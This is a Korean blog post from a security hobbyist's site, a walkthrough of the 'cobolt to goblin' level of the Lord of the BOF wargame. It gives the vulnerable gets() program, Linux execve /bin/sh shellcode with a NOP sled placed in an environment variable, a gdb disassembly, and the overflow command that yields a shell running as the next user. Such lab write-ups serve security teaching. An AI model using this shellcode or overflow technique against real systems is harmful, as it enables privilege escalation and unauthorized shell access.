Notice
Recent Posts
Recent Comments
Link
- NEW초롱이의 하루
- kisa
- 길은 가면, 뒤에 있다
- C언어 예술가
- Zer0 day - Zer0 day
- Information Security
- Secure-EDU
- 앙큼한유채's 일상 Story
- Library of Ezbeat (잠정 폐쇄)
- The Factory
- 안드
- 모후모후의 커뮤니티
- 공학도의 잡다한 시선
- 안드2
- IT속에 코코아
- IP주소검색(whois)
- IP주소검색(좌표포함)
- 소프트웨어 경력 관리
- 해저 케이블 지도
- MAC주소검색
- IANA
- 포트번호검색
- 자신의IP확인
- 웹페이퍼캡처
- 나의패스워드보안등급
- 웹 취약점 분석
- IT용어정리
- GitHub
- 라이브러리 모음
- 웹마당넷
- 시스템콜참고
- BCD 변환
- 보안뉴스
- 코딩도장(C, Python)
- 백준알고리즘
- 코딩테스트 연습
- 웹 사이트 테스트
- 스크립트꾸미기
- ctf대회목록
- 전자신문
- hash 크랙
- CVE
- 도메인등록
- N클라우드
- BugBountyList
- 칼리공식사이트
- CR4FTING BOX
- 아스키코드 변환
- 웹 사이트 통계 및 평가
- PDF변환
- AWS 및 클라우드 정보
- 가상화 및 서버관련
- 티오리
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- 리눅스
- 그라파나
- Tkinter
- 메소드
- Python
- centos docker
- Linux
- GUI
- ACL
- API
- System
- 쉘 스크립트 기초
- Java
- Android
- 클라우드
- synology
- 라즈베리파이
- Shell script
- docker
- 자바
- JSP
- GPIO
- 프로젝트
- LEVIATHAN
- 쉘 스크립트 if문
- 쉘 스크립트
- 네트워크
- RaspberryPi
- 안드로이드
- nginx
Archives
- Today
- Total
IT창고
[BOF] cobolt -> goblin 본문
goblin 문제입니다.
[cobolt@localhost cobolt]$ cat goblin.c
/*
The Lord of the BOF : The Fellowship of the BOF
- goblin
- small buffer + stdin
*/
int main()
{
char buffer[16];
gets(buffer);
printf("%s\n", buffer);
}
cobolt문제에서 gets함수만 추가되었습니다.
환경변수를 이용해서 쉘코드를 올리고 cat명령어를 이용해서 오버플로우를 합니다.
[cobolt@localhost cobolt]$ export SH=$(python -c 'print "\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\xb0\x0b\x89\xe1\x31\xd2\xcd\x80"')
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x80483f8 <main>: push %ebp
0x80483f9 <main+1>: mov %ebp,%esp
0x80483fb <main+3>: sub %esp,16
0x80483fe <main+6>: lea %eax,[%ebp-16]
0x8048401 <main+9>: push %eax
0x8048402 <main+10>: call 0x804830c <gets>
0x8048407 <main+15>: add %esp,4
0x804840a <main+18>: lea %eax,[%ebp-16]
0x804840d <main+21>: push %eax
0x804840e <main+22>: push 0x8048470
0x8048413 <main+27>: call 0x804833c <printf>
0x8048418 <main+32>: add %esp,8
0x804841b <main+35>: leave
0x804841c <main+36>: ret
0x804841d <main+37>: nop
0x804841e <main+38>: nop
0x804841f <main+39>: nop
End of assembler dump.
(gdb) b *0x804841b
Breakpoint 1 at 0x804841b
ret함수 전에 브레이크를 걸었습니다.
[cobolt@localhost cobolt]$ $(python -c 'print "\x90"*20+"\x76\xdc\xff\xbf"' ; cat)|./goblin
߿¿
bash$ id
uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt)
bash$ my-pass
euid = 503
hackers proof
bash$
'WarGame > The Load of the BOF' 카테고리의 다른 글
[BOF] wolfman -> darkelf (0) | 2018.02.12 |
---|---|
[BOF] orc -> wolfman (0) | 2018.02.12 |
[BOF] goblin -> orc (0) | 2018.02.11 |
[BOF] gremlin -> cobolt (0) | 2018.02.10 |
[BOF] gate-> gremlin (0) | 2018.02.09 |
Comments